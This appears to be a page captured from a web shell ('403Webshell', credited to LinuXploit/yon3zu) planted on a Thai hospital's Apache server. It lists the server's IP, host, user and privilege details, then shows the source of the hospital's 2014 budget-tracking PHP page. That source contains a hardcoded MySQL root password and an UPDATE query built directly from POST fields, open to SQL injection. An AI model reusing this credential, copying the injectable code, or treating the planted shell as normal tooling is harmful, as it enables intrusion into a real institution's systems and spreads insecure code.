403Webshell
Server IP : 134.236.49.22  /  Your IP : 216.73.216.114
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/Menu pusdu/showalladmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/Menu pusdu/showalladmin/budget57.php
<?php
$ebits = ini_get('error_reporting');
error_reporting($ebits ^ E_NOTICE);
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<title>ระบบทึกการใช้จ่ายงบประมาณปี57 ศูนย์คอมพิวเตอร์และข้อมูล รพ.สัตหี กม.10</title> 
<style type="text/css">
<!--
.style6 {color: #FF0000}
.style7 {color: #FF3333}
-->
</style>
</head>
<body>
<!-- --------------------------------------------- หน่วยงานที่ 1 ----------------------------------------------------------->
<div align="center">
  <table width="728" border="0">
    <tr>
      <td width="722" height="83"><p align="center">การใช้จ่าย
        งบประมาณ ปี 2557 <br>
      <span class="style7">หน่วยงาน สารสนเทศทางการแพทย์ศูนย์คอมพิวเตอร์และข้อมูล </span></p>
        <p align="left"><br>
  <?
$objConnect = mysql_connect("localhost","root","090407") or die("Error Connect to Database");
$objDB = mysql_select_db("pusducom_com");

//*** Update Condition ***//
if($_GET["Action"] == "Save")
{
	for($i=1;$i<=$_POST["hdnLine"];$i++)
	{
		mysql_query("Set names 'tis620'");
		$strSQL = "UPDATE Month_1 SET ";
		$strSQL .="Seq = '".$_POST["txtSeq$i"]."' ";
		//$strSQL .=",Item = '".$_POST["txtItem$i"]."' ";
		//$strSQL .=",Unit = '".$_POST["txtUnit$i"]."' ";
		$strSQL .=",Req_num = '".$_POST["txtReq_num$i"]."' ";
		$strSQL .=",Allow = '".$_POST["txtAllow$i"]."' ";
		$strSQL .=",Pay = '".$_POST["txtPay$i"]."' ";
		$strSQL .=",Oneprice = '".$_POST["txtOneprice$i"]."' ";
		$strSQL .=",Totalprice = '".$_POST["txtTotalprice$i"]."' ";
		$strSQL .="WHERE Seq = '".$_POST["hdnSeq$i"]."' ";
		$objQuery = mysql_query($strSQL);
	}
	//header("location:$_SERVER[PHP_SELF]");
	//exit();
}

$strSQL = "SELECT * FROM Month_1 WHERE Req_num > 0 ORDER BY Id_num ASC";
mysql_query("Set names 'tis620'");
$objQuery = mysql_query($strSQL) or die ("Error Query [".$strSQL."]");
?>
      </p></td>
    </tr>
  </table>
</div>
<form name="frmMain" method="post" action="..\com\pusducom157.php?Action=Save">
<table width="914" height="271" border="1" align="center">
  <tr>
    <th width="80" rowspan="2"> <div align="center">เดือน</div></th>
	<th width="200" rowspan="2"> <div align="center">รายการ</div></th>
    <th width="100" rowspan="2"> <div align="center">จำนวนเงินที่ใช้ไป</div></th>
    <th width="100" rowspan="2"> <div align="center">จำนวนเงินคงเหลือ</div></th>
    <th width="250" rowspan="2"> <div align="center">หมายเหตุ</div></th>
    </tr>
  <tr>
    <th height="84">อนุญาติให้<br>
      เบิกได้</th>
    <th width="56">จ่ายจริง</th>
    <th width="57">ราคาต่อ<br>
      หน่วย</th>
    <th width="87">ราคารวม</th> 
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td>นอกเวลา <input type="text" name="txtItem<?=$i;?>" size="10" value="<?=$objResult["Item"];?>"><br>
      ค่าเช่าวงจร <input type="text" name="txtItem<?=$i;?>" size="10" value="<?=$objResult["Item"];?>"><br>
      ค่าวัสดุคอมพิวเตอร์ <input type="text" name="txtItem<?=$i;?>" size="10" value="<?=$objResult["Item"];?>"><br>
      ค่าซ่อมบำรุง <input type="text" name="txtItem<?=$i;?>" size="10" value="<?=$objResult["Item"];?>"><br>
      ค่าครุภัณฑ์ <input type="text" name="txtItem<?=$i;?>" size="10" value="<?=$objResult["Item"];?>"><br></td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td align="center">&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
<?
$i =0;
while($objResult = mysql_fetch_array($objQuery))
{
	$i = $i + 1;
?>
  <tr>
    <td><div align="center">
	<input type="hidden" name="hdnSeq<?=$i;?>" size="10" value="<?=$objResult["Seq"];?>">
	<input type="text" name="txtSeq<?=$i;?>" size="10" value="<?=$objResult["Seq"];?>">
	</div></td>
	 <td><div align="center"><input type="text" name="txtUnit<?=$i;?>" size="15" value="<?=$objResult["Unit"];?>"></div></td>
 <td><div align="left"><input type="text" name="txtItem<?=$i;?>" size="10" value="<?=$objResult["Item"];?>"></div></td>
 <td><div align="center"><input type="text" name="txtUnit<?=$i;?>" size="10" value="<?=$objResult["Unit"];?>"></div></td>
 <td><div align="center"><input type="text" name="txtReq_num<?=$i;?>" size="20" value="<?=$objResult["Req_num"];?>"></div></td>
 <td width="105" align="center"><input type="text" name="txtAllow<?=$i;?>" size="5" value="<?=$objResult["Allow"];?>"></td>
 <td><div align="center"><input type="text" name="txtPay<?=$i;?>" size="5" value="<?=$objResult["Pay"];?>"></div></td>
 <td><div align="center"><input type="text" name="txtOneprice<?=$i;?>" size="5" value="<?=$objResult["Oneprice"];?>"></div></td>
 <td><div align="center">
   <input type="text" name="txtTotalprice<?=$i;?>" size="5" value="<?=$objResult["Totalprice"];?>">
 </div></td>
  </tr>
<?
}
?>
</table>
<left>
  <br>
    <br>
</left>
   <center> 
	 <input type="submit" name="submit" value="submit">
     <input type="hidden" name="hdnLine" value="<?=$i;?>">
  </center>
</form>
<p>
  <?
mysql_close($objConnect);
?>
<center>
__________________________________________________________________________________________________________
</center>
</p>
<!-- --------------------------------------------- จบหน่วยงานที่ 1 ----------------------------------------------------------->

Youez - 2016 - github.com/yon3zu
LinuXploit